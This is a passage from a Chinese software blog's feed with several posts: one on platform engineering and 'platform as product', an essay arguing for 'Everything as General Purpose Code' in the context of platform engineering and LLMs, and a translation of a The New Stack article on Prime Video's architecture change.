&lt;p&gt;图 6：云原生全景图&lt;/p&gt;

&lt;p&gt;上图是最新版本的“全景图”：这里包含一些常见的开源产品和产品，并按构建云原生架构时所关注的领域进行分组。这是一张拥挤的地图，而且只是最成熟的产品。对于上述每个领域以及更多领域，团队都必须评估各种选项，选择适合其需求的产品，然后学习如何集成和操作该产品。&lt;/p&gt;

&lt;p&gt;除了重复基础设施的维护费用外，每个团队还需要不断研究和评估其基础设施选择。&lt;/p&gt;

&lt;p&gt;WebBiz 现在正开始建立一个定义更加清晰的交付基础架构平台&amp;ndash;一套令人信服的默认设置，产品团队可以使用这些默认设置来减少阻力，提高工作效率。&lt;/p&gt;

&lt;p&gt;但是，他们是否有可能失去自主权带来的好处？&lt;/p&gt;

&lt;h3 id=&#34;平台即产品&#34;&gt;平台即产品&lt;/h3&gt;

&lt;p&gt;在自主多样化和中心化管理之间找到适当的平衡点，是个难度颇高、且不易预测的工作。成功找到这种平衡的一个关键因素是，平台必须令人信服，不能仅仅依靠授权。现有的共享基础设施功能处于垄断地位，交付团队没有可行的替代方案。竞争是推动产品思维的必要因素，可确保每个平台功能都能增加价值，而不是造成限制和耦合。&lt;/p&gt;

&lt;p&gt;成功找到这种平衡的关键因素是，平台的使用必须具有吸引力，怎样才有吸引力？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;该平台可为绝大多数使用场景提供自助服务。&lt;/li&gt;
&lt;li&gt;平台是可组合的，包含可独立使用的离散服务。&lt;/li&gt;
&lt;li&gt;平台不会强迫交付团队采用不灵活的工作方式。&lt;/li&gt;
&lt;li&gt;平台上手快速、成本低廉，易于上手（如快速入门指南、文档、代码示例等）&lt;/li&gt;
&lt;li&gt;平台拥有丰富的内部用户社区，便于共享&lt;/li&gt;
&lt;li&gt;平台是安全的，合规的&lt;/li&gt;
&lt;li&gt;平台是最新的&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最终，当使用平台能力比构建和维护自己的东西更容易时，交付基础架构平台就会引人注目。Netflix 将其集中式工具称为“铺装路”-团队有权不使用这些工具，但要负责维护自己的替代工具的所有成本。&lt;/p&gt;

&lt;p&gt;平台也不应仅仅是软件和应用程序接口，它还包括文档、咨询、支持和宣传、模板和指南。&lt;/p&gt;

&lt;p&gt;等等——这不是“DevOps 团队”吗？
做得不好？可能是的。&lt;/p&gt;

&lt;p&gt;（我还没准备好在 DevOps 上认输：所以，如果你不确定，如果你有一个团队叫&amp;rsquo;DevOps&amp;rsquo;，那么这个词的意思并不是你想的那样）。&lt;/p&gt;

&lt;p&gt;您可以选择组建一个团队来构建和运营交付基础架构平台&amp;ndash;我认为在大多数情况下，这将是最佳的入门方式。如果是这样，你就应该非常清楚平台团队与其客户（为了清晰起见，我称之为应用团队）的职责范围。&lt;/p&gt;

&lt;p&gt;应用团队负责构建、部署、监控和调用他们在平台上提供和部署的应用组件和应用基础架构。平台团队负责构建、部署、监控平台组件和底层平台基础设施，并随时待命。&lt;/p&gt;

&lt;p&gt;理想情况下，平台团队甚至不知道平台上运行着哪些应用程序，他们只负责平台服务本身的可用性。&lt;/p&gt;

&lt;p&gt;这样，应用团队和平台团队都有责任构建和运行自己的产品。这当然还是“谁构建，谁运行”。&lt;/p&gt;

&lt;h3 id=&#34;如何开始&#34;&gt;如何开始？&lt;/h3&gt;

&lt;p&gt;成功建立交付平台有一些先决条件。首先，你可能已经开始摆脱以“项目”作为技术交付的主要资金和人员机制。平台是一种产品，需要一个长期稳定的产品团队来负责构建和运行。&lt;/p&gt;

&lt;p&gt;其次，必须愿意将应用程序的部分或全部运维责任转移到应用程序团队，而不是集中化的运维和支持。平台提供的工具和服务可以让应用团队对他们所构建的内容负责，但如果集中提供支持，就无法做到这一点。&lt;/p&gt;

&lt;p&gt;第三，你必须在实施的严格一致性与交给自主应用团队的自由和责任之间进行权衡。&lt;/p&gt;

&lt;p&gt;还有些问题。&lt;/p&gt;

&lt;p&gt;平台不仅仅是可以安装的基础设施、工具和应用程序接口。要想取得成效，必须回答交付团队的问题：如何快速采用新功能？如何独立做出哪些选择而不是使用合理的默认设置？以及您将如何持续维护这些功能。这将需要一些内部咨询技能、培训和宣传。&lt;/p&gt;

&lt;p&gt;您不知道自己需要什么样的平台功能，因此应根据真正的成熟需求从小规模开始。从应用团队中收集已经验证的解决方案，并尝试与将使用这些解决方案的团队合资创建和测试功能。&lt;/p&gt;

&lt;p&gt;请务必小心，在有限的虚拟主机和锁定的集中管理工具上贴个平台标签，并不是平台。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Everything as General Purpose Code</title>
      <link>/post/everything-as-general-purpose-code/</link>
      <pubDate>Thu, 27 Jul 2023 09:11:00 +0800</pubDate>
      <guid>/post/everything-as-general-purpose-code/</guid>
      <description>

&lt;p&gt;大概是 2014 年，在老东家搞了一阵 DevOps 工具的设计开发，出了一个蛮有意思的设计：以 Pull/Merge Request 为模型枢纽，把需求、代码、构建、发布以及可观测性都关联起来，用一个 Dashboard 观测一个需求从提出到发布以及运行的的所有生命周期内容。那时候大概是 Jenkins 最后辉煌的年代，我第一次接触了 Infrastructrue as Code 的概念，从 Kubernetes 的状态机制、到 Jenkins 的 Pipeline as code，当然还有让我踏进 Kubernetes 门槛的 Ansible，以及可以直接合并到代码仓里面的 Grafana Template，都给刚脱离业务代码不久的我带来很大触动。（最近会上听说这个产品还活着，老怀大慰 :D），后面的日子里因为一直在跟各种 YAML 打交道，可以说 &lt;code&gt;As Code&lt;/code&gt; 的概念已经成了我的思维习惯。&lt;/p&gt;

&lt;p&gt;工作在 SRE 和云原生领域，不可避免的接触到各种 &lt;code&gt;As Code&lt;/code&gt; 的东西，另外虽说今年以来阅读量锐减，但是大模型和平台工程这两个名词还是不时地跳到我的眼前，SRE 工作如何借助借助这两个新玩意走向未来，已经是一个无法回避的问题。随着不断地在各种公有私有 DSL 里面摸爬滚打，我发现单纯的 &lt;code&gt;Infrastructrue As Code&lt;/code&gt; 甚至是 &lt;code&gt;Everything As Code&lt;/code&gt; 都是不够的，更精确的描述应该是 &lt;strong&gt;Everything as General Purpose Code&lt;/strong&gt;，翻译成人话大概就是——&lt;strong&gt;一切都是通用代码&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;早在 2004 年出版的《Thinking in Promises》一书中，已经提出了很多这一理念的雏形:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;提倡基于 Promise 理论来管理计算系统。&lt;/li&gt;
&lt;li&gt;主张基于策略而不是手工操作来管理复杂环境。&lt;/li&gt;
&lt;li&gt;强调通过计算机编码的方式来实现策略自动化。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这本书奠定了 Mark Burgess 后来进一步发展 CFEngine 自动化配置管理系统的理论基础。&lt;/p&gt;

&lt;p&gt;随着 IT 行业的迅猛发展，数据中心规模的暴增，传统的手工配置服务器以及 Shell 脚本的自动化方式，越来越无法满足运维需求，在 CFEngine、Puppet 这样的先驱之后，涌现了各种 &lt;code&gt;As Code&lt;/code&gt; 的工具，例如：Terraform、Ansible、Vagrant、Docker 等等，尤以 Kubernetes、Prometheus 为首的云原生体系出现之后，这种趋势就更加成为一种默认的选择。&lt;/p&gt;

&lt;p&gt;目前，Everything as Code 成为 DevOps 流程的重要组成部分。GitOps 将 Git 作为基础设施部署和管理的单一源。Everything as Code 理念被进一步拓展到监控、日志、文档等更多领域。随着敏捷运维和 DevOps 的兴起而逐步发展成熟,已经成为现代软件工程自动化的重要范式。其核心思想也将持续引领软件工程的未来方向。&lt;/p&gt;

&lt;h2 id=&#34;一艘大贼船&#34;&gt;一艘大贼船&lt;/h2&gt;

&lt;p&gt;在实际工作中会发现，微服务、声明式 API、Everything as code、以及阿姆斯特丹 KubeCon 上大热的平台工程，形成了一张粘人的网：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;多数情况下，微服务和容器可以说是绝配。&lt;/li&gt;
&lt;li&gt;要编写 Kubernetes 风格的声明式 API，通常需要对业务进行面向状态而非面向过程的设计。&lt;/li&gt;
&lt;li&gt;面向状态的设计中，基本的对象操作方法就是——设计对象的状态机，并让对象自行根据有效路径向目标状态迁移。&lt;/li&gt;
&lt;li&gt;状态通常是离散的，因此并不是所有的业务都适合使用这种方法进行设计。&lt;/li&gt;
&lt;li&gt;微服务提倡的智能终端、透明性、内聚性等架构风格，都可以用这种思路来设计实现&lt;/li&gt;
&lt;li&gt;既然已经清晰的使用状态来描述对象的现状和目标，那么使用代码进行描述可以说是毫无难度的。&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;I can do this all day.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;众多的开源工具、协议、规范等，交织在一起，对于初创企业来说可能是个好事，但是对于具备强大 IT 实现能力的大厂们来说，这个事情可能就不太美妙了——或多或少的 Not Invent Here 思路，开始被“外边的世界”来回撕扯，从任意一个角度踩到这张大网上，都会感到这张网的粘性和侵蚀能力。为了持续发展、或者说防止碎片化，开源社区尤其是云原生的相关社区，一方面推崇 Upstream first 的开源理念，一方面发展一致性认证等手段，形成一种“打不过就加入”的态势，诱使或者迫使企业以及个人用户和贡献者沿用同一标准和思路助力项目的发展。而企业中小团队自行研发的一些相对应的技术，则往往会因为开源世界的飞速发展，越来越多的面临疲于奔命的窘境。&lt;/p&gt;

&lt;p&gt;在开发者看来，对于公开技术的学习和深入应用，能显著的降低学习成本，提高个人技术积累的有效性和可评估性，也会越来越倾向于对公开标准的迎合。&lt;/p&gt;

&lt;p&gt;在最终用户眼中，以前经常的奚落话术：“不就是开源套个壳”，因为对于多云厂商的需求，以及对厂商绑定的反感，开始逐步转变为：“你为什么不用开源软件套个壳”这样的提问，当然这种情况还有另外一个原因——越来越多的乙方技术人员被输出成为了甲方。&lt;/p&gt;

&lt;p&gt;种种形势的夹击之下，拥抱开放标准，用开放代码表达尽可能多的资源和策略，就成为一个新的重要方向。&lt;/p&gt;

&lt;h2 id=&#34;这和平台工程有什么关系&#34;&gt;这和平台工程有什么关系&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;既要新，又要快，还要稳。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;目前平台工程还没有一个权威的被广泛接受的定义，这里尝试从职责的角度给他下一个定义：在组织范围内，为软件从开发到运维的完整生命周期，编制符合其 IT 治理要求以及最佳实践的可执行的内部规范，并开发用于实施这种规范的工具平台，这种工具平台是一个可拼接、可编排的松耦合框架，用工具和 API 的方式，为研发和运维人员提供自动化的安全、合规、研发能效等方面的支持，从而保障软件能够快速交付、平稳运行。&lt;/p&gt;

&lt;p&gt;平台工程的开发并不会和普通业务系统的开发过程有什么本质区别。然而平台工程处于基础设施和开发之间，并且承载组织的 IT 治理职责，产品开发团队希望更聚焦于主航道业务，希望使用更便捷的方式来使用 IaaS/PaaS/SaaS 服务来快速地构建产品；炒作周期中的新技术则会对所有的技术人员产生巨大的吸引力；与此同时，IT 管理团队则以稳定可控为第一前提，希望不同年代的各种技术能够为我所用、为我所控，用一个相对稳定的治理体系进行维持。&lt;/p&gt;

&lt;p&gt;综上所述，平台工程产品的建设，同时受到来自业务、技术以及管控三方的压力；在三方压力撕扯之下，平台工程还要在保持业务连续性的底线之上持续向前演进。因此平台工程是一个高度定制化、高度敏态的、永不完工的系统。这就要求平台工程团队要将大量不同来源的基础设施、规范、工具，用弹性的方式结合在一起，根据研发运维等技术性工作的需求，粘合成为具备一致性拓扑视图和管控能力的能力中台。&lt;/p&gt;

&lt;p&gt;平台团队需要构建共享的工具和服务，帮助开发团队开发、部署和管理云基础设施。其服务范围跨越云基础设施、容器编排平台、数据库、网络、监控、代码仓库和部署流水线等一系列工具和能力。因此平台工程有两个基本组件——首先要为其服务范围内的各种资源建立一个统一的资源模型，并以 CMDB、API 或者命令行、图形界面等方式将其呈现给开发运维人员；其次就是在这个基础之上为应用提供一个涵盖基础设施以及应用程序部署能力的 CICD 工具（是的平台工程的终点也是 CICD，各位看官可以脑补掀头套的表情包）；根据组织分工的不同，其它职能例如可观测性、FinOps、安全、合规、隐私等，也可能以内置或者接入的方式出现在平台工程之中。&lt;/p&gt;

&lt;p&gt;说这么多，跟所谓的公开的通用语言有什么关系呢？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;平台工程的用户通常是开发、运维工作的相关的技术人员，因此工具所提供的命令行、图形界面以及 API，如果是用户所熟知的形式，将大大提高用户的使用意愿，这方面很优秀的一个例子就是近些年风靡大江南北的 &lt;code&gt;xxctl&lt;/code&gt; 命令，容器相关的命令行大多都有这种 &lt;code&gt;xxctl verb type obj parameter&lt;/code&gt; 的形式，大大的降低了技术人员接触这类工具的门槛，并且其中所透露出的操作以及对象结构，也让用户更加容易理解系统所提供的能力模型。API 也是同理，现在要逃出 Restful 的魔爪，哪怕是用流行程度稍差的 GraphQL，就要接受一些额外的的质疑。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;平台工程对云基础设施的管控，目前多通过 GitOps、IaC 等技术作为基础来进行实现，这里同样面临 &lt;code&gt;Not Invented Here&lt;/code&gt; 和 &lt;code&gt;Proudly Found Elsewhere&lt;/code&gt; 的选择。从零到一对每个技术团队来说，都有极大的诱惑。然而一旦市面上出现了很可能会持续发展的同类技术，自建产品就面临尴尬境地——用户们会按照外部的“传说”，一方面会 Push 平台工程团队跟进外部特性，另一方面也会抱怨需要进行额外的学习才能掌握自研工具，内外部客户通常还会提出“兼容某某某”的“小需求”。而自研产品的团队也会面临两难境地——一方面，要用小团队跟进整个社区的进展是个吃力不讨好的事情；另一方面也因为不间断的外部噪音，而打乱产品原计划的发展路线。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;工具方面，比较有趣的一个例子就是 Podman，它的绝大多数命令都是和 Docker 可以互换的，有人甚至给 Podman 做个 Docker 的 alias。&lt;/p&gt;

&lt;p&gt;语言方面，我想很多人都有过从自定义脚本到 Ansible、CloudInit 等制式工具的美妙体验；号称简化 Kubernetes YAML 的工具非常多，然而除了 Helm，甚至包括 Kustomize 在内，可以说——都是弟弟。&lt;/p&gt;

&lt;h2 id=&#34;为什么还能扯到-llm&#34;&gt;为什么还能扯到 LLM&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Q：大家都是用什么卡训练的？
A：信用卡&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;LLM 的情况比较简单，跟平台工程面临的情况是很类似的——大模型也是需要训练的。需要投入海量语料、天价算力以及庞大的人力，才能培养出来一个渊博的大模型。而私有的自研语言，在这方面有着天然的缺陷——大模型她不认识我。这就造成一个挠头的困境——自己凭实力弄出来的私有技术，还要花钱让大模型学会它。举个例子来说，很多开发者都有过用私有语法/语言自定义策略的经验，这种 DSL 其实不难实现，然而等到难用的 OPA 的用户可以用 ChatGPT 把策略聊出来的时候，你的用户可能就要刁难你了。&lt;/p&gt;

&lt;p&gt;当然，可以通过迁移学习、联合训练等手段，降低私有语言进入大模型的门槛，然而这世界变化很快，类似的场景可能还包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prometheus 告警表达式&lt;/li&gt;
&lt;li&gt;Grafana Dashboard 的 JSON&lt;/li&gt;
&lt;li&gt;Dockerfile&lt;/li&gt;
&lt;li&gt;根据日志进行故障定位&lt;/li&gt;
&lt;li&gt;根据审计记录进行态势感知&lt;/li&gt;
&lt;li&gt;IPtables 策略编写和诊断&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以说，私产越多，花费越多。在这种情况下，具备广泛传播的语言、日志等，就具备更好的使用 LLM 的基础，形成新的人机界面。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;自有语言、协议的情况其实非常常见，尤其对研发能力溢出的大厂而言。但是对于眼下大模型+平台工程的趋势来说，拥抱主流标准，或者取而代之，搭上行业的顺风车，应该是个更好的选择。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;From ChatGPT：
作为 IT 作家，我对这个标题“Everything as General Purpose Code”有一些见解。
首先，这个标题传达了一个强烈的观点，即将“一切”事物都作为“通用代码”来处理。这似乎暗示了一种理念，即无论是硬件、软件还是其他系统，都可以用通用代码来实现其功能。这种观点在某些方面是有吸引力的，因为它强调了代码的普适性和灵活性。
从技术角度来看，将一切事物视为通用代码可能意味着在设计和实现过程中追求更高的抽象和通用性，从而实现更高效的系统和应用。这种方法可能会促进代码重用，减少开发工作量，并使系统更易于维护和扩展。
然而，这样的理念也存在一些挑战和潜在问题。首先，将所有事物视为通用代码可能导致过度抽象化和泛化，从而牺牲了一些特定情况下的性能和效率。不同领域的应用可能需要特定的优化和定制，通用代码并不总是能够满足所有需求。
其次，将一切事物视为通用代码还涉及到一些安全和隐私方面的考虑。通用代码可能增加了系统的复杂性，从而增加了潜在的安全漏洞。此外，某些领域的数据可能是敏感的，将其简单地视为通用代码可能导致数据泄露和隐私问题。
最后，实现“一切事物都是通用代码”这样的理念需要强大的技术支持和开放的标准。这需要跨行业和跨领域的合作，以确保各种系统和设备都能够相互交互和协作。否则，这种理念可能难以实现，只能是一种理想主义的愿景。
综上所述，标题“Everything as General Purpose Code”传达了一种令人着迷的观点，但也需要在现实中认真考虑其可行性和潜在的挑战。将一切事物视为通用代码是一个有趣的思考方向，但在实际应用中需要谨慎和明智的决策。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>通用 I(E)ac 是通往 AIOps 的捷径</title>
      <link>/post/oss-iac-to-aiops/</link>
      <pubDate>Sat, 22 Jul 2023 08:42:53 +0800</pubDate>
      <guid>/post/oss-iac-to-aiops/</guid>
      <description>&lt;p&gt;Transparency can be a big win.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>[译] Prime Video 并没有重回单体架构</title>
      <link>/post/tr-ms-to-monoagain/</link>
      <pubDate>Fri, 30 Jun 2023 21:53:26 +0800</pubDate>
      <guid>/post/tr-ms-to-monoagain/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/amazon-prime-videos-microservices-move-doesnt-lead-to-a-monolith-after-all/?utm_content=buffer5697c&amp;amp;utm_medium=social&amp;amp;utm_source=twitter.com&amp;amp;utm_campaign=buffer&#34; target=&#34;_blank&#34;&gt;Amazon Prime Video’s Microservices Move Doesn’t Lead to a Monolith after All&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/scott/&#34; target=&#34;_blank&#34;&gt;Scott M. Fulton III&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;太长不看版&#34;&gt;太长不看版&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;本文主体由 Deepl 翻译，局部经过 ChatGPT 润色，后大面积返工。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
&lt;li&gt;Prime Video 不是整个 Amazon，也不是 AWS。&lt;/li&gt;
&lt;li&gt;身处 IT 企业，经常会误以为其他企业也有同等规模和素质的 IT 团队和投入&lt;/li&gt;
&lt;li&gt;架构跟时尚一样，会存在周期性的反复，业务目标和组织结构始终是个决定性因素&lt;/li&gt;
&lt;li&gt;和平年代和战争年代，对架构工作的前瞻性和时效性会有截然不同的选择。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;正文&#34;&gt;正文&lt;/h2&gt;

&lt;p&gt;在任何组织结构中，一旦你把常规工作分解成过于琐碎的任务，并把它们委托给太多的人，他们的信息传递很快就会变得无法管理，组织也会停止发展。
去年 3 月 22 日，亚马逊 Prime Video 的工程师在一篇几周内未被注意的博文中报告说，他们在微服务平台上创建的，为确定流媒体视频的服务质量（QoS）水平而构建的服务质量监控应用程序，在低于 10% 负载情况下也会失败。&lt;/p&gt;

&lt;p&gt;更重要的是，他们已经应用了一种补救措施：他们的帖子描述的解决方案是“单体应用”。&lt;/p&gt;

&lt;p&gt;Prime Video 是《权力的游戏》和《了不起的麦瑟尔夫人》等点播节目的发源地，击败传统广播机构获得 NFL 周四晚间足球赛的直播权之后五年，发生了这样的问题。&lt;/p&gt;

&lt;p&gt;成为流媒体市场领导者之一之后，Prime Video 同时为 1660 万观众提供服务。为了跟上体育实况观众的网络需求，Prime Video 的发展需要加速。&lt;/p&gt;

&lt;p&gt;可惜，在 2022 年 9 月的橄榄球赛季开幕时，Prime Video 发出了不少以 “很抱歉给您带来了不便”开头的推文。&lt;/p&gt;

&lt;p&gt;工程师们在博客中报告说，Prime Video 的工程师们将原本分离在孤立的 AWS Step Functions 和 Lambda 函数中的 QoS 监控操作整合到一个统一的代码模块中，解决了这一问题。&lt;/p&gt;

&lt;p&gt;正如最初报道的那样，这件事的发展，似乎最终证实了许多组织在过去十年中的猜测，即维持系统复杂性和信息传递开销所产生的成本，完全有可能抵消微服务架构所带来的收益。&lt;/p&gt;

&lt;p&gt;可想而知，那篇博文稍作炒作，就会有专家来给为服务架构宣判死刑。Ruby on Rails 的创始人 David Heinemeier Hansson 写道：“很明显，在实践中，微服务可能会诱导你构建不必要的复杂系统”，而.NET MVP Milan Jovanović 在 Twitter 上问：“我们会看到雄伟的单体重新出现吗？”。&lt;/p&gt;

&lt;p&gt;杰夫-德莱尼（Jeff Delaney）在 YouTube 频道 Fireship 上说到：“这一举措给 Amazon 省了不少钱，但这也是个可能失去重要收入来源的坏消息”。&lt;/p&gt;

&lt;p&gt;然而有其他专家，包括 CodeOpinion.com 的 Derek Comartin，他们将 Prime 的架构图相互比较，并注意到这些图和他们的附带叙述之间存在一些明显的脱节。&lt;/p&gt;

&lt;p&gt;在 TNS 访谈中，有业界知名专家提到（并且得到 Amazon 高级网络服务工程师的证实），Prime Video 的新解决方案，不仅不符合单体应用的特征，和原架构相比，新版本在扩展性等重要方面，都是一个进化了的微服务架构&lt;/p&gt;

&lt;h2 id=&#34;传说中的完美&#34;&gt;传说中的完美&lt;/h2&gt;

&lt;p&gt;AWS 的前云架构战略副总裁，现在是 Nubank 的顾问 Adrian Cockcroft 在接受 The New Stack 采访时说到：“这绝对不是一个从微服务到单体的故事，而是一个 Step Function 到微服务的故事。”&lt;/p&gt;

&lt;p&gt;许多 The New Stack 的读者都知道，Cockcroft 是微服务架构的发起人之一，当然也是其最直接的支持者。自从成为顾问以来，他没有直接参与 Prime Video 或 AWS 的工作，但他熟悉那里实际发生的事情，当 Prime 的流质量监测项目开始时，他是 AWS 的高管。他为我们描述了一种原型设计策略，即企业利用 AWS 的 Step Functions，加上 Serverless 编排，对业务流程进行可视化建模。&lt;/p&gt;

&lt;p&gt;通过这种采用策略，架构师基本上可以随意重组数字流程，最终发现它们与业务流程的最佳匹配。他对这种方法非常熟悉，因为它是 AWS 最佳实践的一部分&amp;ndash;他也是起草人之一。在与我们交谈时，Cockcroft 赞扬了 Prime Video 团队，认为该团队遵循了这一最佳实践。&lt;/p&gt;

&lt;p&gt;根据 Cockcroft 的理解，Step Functions 的决策，并不是以 NFL 体育赛事直播的规模来设计的。这些流程的最终状态需要有更多算法、更有效、更巩固。因此，要使 Step Functions 模型不仅用于原型设计，其诀窍不仅仅是可扩展性，而且还要具有可迁移性。&lt;/p&gt;

&lt;p&gt;Cockcroft 说：“如果你知道你最终的业务规模，你可能会采用完全不同的架构。所以真正的问题有两个：在什么规模上，用什么方式做事？这是两个不同的问题，如果你不知道问题的答案，或者如果你知道它是小规模的、复杂的，但却不知如何构建这一系统，那么你会需要快速建设一个原型。&amp;rdquo;&lt;/p&gt;

&lt;p&gt;然而，他建议，如果一个组织从一开始打算建设广泛使用的大规模系统，就应该在前期加大投入来解决这些问题。而 Prime Video 团队却没有这样的条件。在这种情况下，Cockcroft说，该团队遵循的是最佳实践：建立他们能做的最好的系统，以完成他们当时所理解的业务目标。&lt;/p&gt;

&lt;p&gt;Cockcroft 解释说：“很多企业内部的 IT 工作负载都是相对较小规模的事情，往往会发现，建设系统的花费超出了系统的运行费用，在这种情况下，你大概会想通过超级快速的构建过程来节省开发人员的时间。我认为第一个版本&amp;hellip;&amp;hellip;就是这样思考的，它并不打算大规模运行。”&lt;/p&gt;

&lt;p&gt;随着基于 Step Functions 的系统的完善，根据这些相同的最佳实践，其进化的下一个阶段将是迁移阶段。与流行的观念相反，这种蜕变的一部分可能涉及服务整合。不管 Prime Video 的博文怎么说，但整合的结果不是一个单体。它现在是一个完全成熟的微服务，能够提供工程师所吹嘘的 90% 的成本削减。&lt;/p&gt;

&lt;p&gt;Cockcroft说：“这是整个 Prime Video 工作负载的一个可独立扩展的部分，如果他们现在不运行直播流，它就会缩容或关停&amp;ndash;这也是一开始就用 Step Function 和 Lambda 来构建它的重要原因。而如果流服务在发展，它就会进行扩容。那是一个微服务。Prime Video 的其他部分也是独立扩展的。”&lt;/p&gt;

&lt;p&gt;这篇文章发表后，AWS 发言人联系了 The New Stack，就如何在组织内使用 Step Functions 提供了进一步的建议。这位发言人告诉我们，许多 AWS 客户，包括 Liberty Mutual 和 Taco Bell，都从 Step Functions 开始他们的架构计划，并选择在其部署规模扩大时继续使用该服务。发言人称，Prime 视频流 QoS 服务是 Prime 博客原文的主题，是流媒体公司在 AWS 平台上利用的许多服务之一，其他许多服务可能在可预见的未来继续使用Step Functions。&lt;/p&gt;

&lt;p&gt;The New Stack 采访了 AWS Lambda 及其管理的容器服务 App Runner 的总经理 Ajay Nair。Nair 完整地证实了 Cockcroft 的说法，即该项目最初是如何以 Step Functions 为框架开始构建，以及它最终如何成为一个可扩展的微服务。&lt;/p&gt;

&lt;p&gt;Nair 为我们概述了一个典型的微服务开发模式。原始应用的业务流程经常会被过于僵硬地耦合在一起，难以进化和适应。所以要进行解耦和隔离。这种分解使开发者能够定义合同，阐明每个服务的预期输入和输出、要求和结果。业务团队第一次可以直接观察到交易活动，而在这之前，这些要素完全被其复杂性和意外的设计限制所掩盖。&lt;/p&gt;

&lt;p&gt;Nair 接着说，软件工程师可以把孤立的 Serverless 函数编排为服务。在这样做的过程中，他们可能会进一步分解一些服务，例如 AWS 把 S3 拆分为 300 多个微服务类。服务合并也是可能的：观察它们的行为可能会发现，它们实际上并不需要被独立扩展。&lt;/p&gt;

&lt;p&gt;Nair 说：“这是任何架构的自然演进，所构建的服务会被整合和重新分配，由此产生的能力仍然有一个完善的合同，[并且]有一个单一的团队管理和部署它。所以它在技术上符合微服务的定义。”&lt;/p&gt;

&lt;h2 id=&#34;分解&#34;&gt;分解&lt;/h2&gt;

&lt;p&gt;Kubernetes 的 Co Founder，现任微软企业副总裁的 Brendan Burns 说：“我认为微服务的定义不一定很明确，我倾向于从功能、扩展和团队规模的角度来考虑它。一个微服务应该是一个或多个一致的功能&amp;ndash;这就像良好的面向对象设计。如果你的微服务是 CatAndDog() 服务，你可能要考虑把它分成 Cat() 和 Dog() 服务。但如果你的微服务是 ThatOneCatOnMyBlock()，那可能就是拆的太碎了。”&lt;/p&gt;

&lt;p&gt;F5 的 Lori MacVittie 在接受 The New Stack 采访时解释说，“微服务的粒度仍然受到物理定律、网络速度、你实际包裹的[代码]多少的限制。你能做到这一点吗？你能在一个容器化的环境中做所有的功能，并使其发挥作用吗？可以。它将会慢得要命。人们不会使用它。”&lt;/p&gt;

&lt;p&gt;Adrian Cockcroft 建议，即使是对于一个非开发人员来说，每个服务的核心目的也是可解释的，这应该是微服务架构本身的一个原则。仅仅是这一事实就应该减轻对不良设计选择的影响。&lt;/p&gt;

&lt;p&gt;“它应该简单到一个人就能理解它是如何工作的，” Cockcroft 提倡说。“有很多关于微服务的定义，但是一个基本共识就是把问题分割成多个独立可扩展的块。”&lt;/p&gt;

&lt;p&gt;F5 的 MacVittie 说：“我们说的不过就是没有标准化的 SOA，你可以看一下框架、对象和层次结构，你会觉得——这和以前没什么不同。我们可以对此进行争论。谁赢了？这有关系吗？亚马逊大概会说——你是对的，这是一个大的微服务，谢谢你。这能改变什么吗？不，他们已经解决了他们的一个问题，通过改变他们的设计方式。如果他们碰巧偶然发现了他们一开始就应该做的事情，根据互联网上的专家的说法，很好。这对他们有用。他们省钱了，而且他们确实暴露了其中的一个问题，就是在没有足够能力的时候进行了过度的分解。”&lt;/p&gt;

&lt;p&gt;她继续说：“我们有点被物理困住了，我们不太可能比现在的速度更快，所以我们必须绕过这个问题。”&lt;/p&gt;

&lt;p&gt;也许你已经注意到了：企业的技术故事总在二元对立中茁壮成长。为了将任何软件架构作为有价值的东西介绍给读者，供应商和记者将新架构与其他架构对立起来。当一个同等的系统或方法还不存在时，新的架构可能最终被描绘成颠覆传统的革命的预兆。&lt;/p&gt;

&lt;p&gt;其中一个原因可能是，网上的讨论要么是由供应商主导，要么是由倾向于首先与供应商对话的记者主导。&lt;/p&gt;

&lt;p&gt;Platify Insights 的分析师 Donnie Berkholz 说：“软件公司的运作方式和世界其他地方的运作方式之间一直存在着这种脱节。在一家软件公司，你有十倍于其他许多公司的人均人员配置和软件工程。这让你有很多能力和人才来做其他人无法跟上的事情。”&lt;/p&gt;

&lt;p&gt;大概巨大的 Amazon 品牌掩盖了一个事实：Prime Video 是 AWS 的客户。Prime 工程师的博文被放大了。某些技术作家可能非常专注于微服务架构的某些方面，以至于他们让读者认为该架构的替代方案必须是什么样子。如果根据定义，微服务是小的（一位记者特别强调了这一点），那么其邪恶的对应物一定是大的。在这种假设下，如果亚马逊的 Prime Video 拥抱了单体架构，那么所有的 Amazon 也必须拥抱。在第四节为单体架构打出一次反败为胜的触地得分，并演奏每周四的的橄榄球主题曲。&lt;/p&gt;

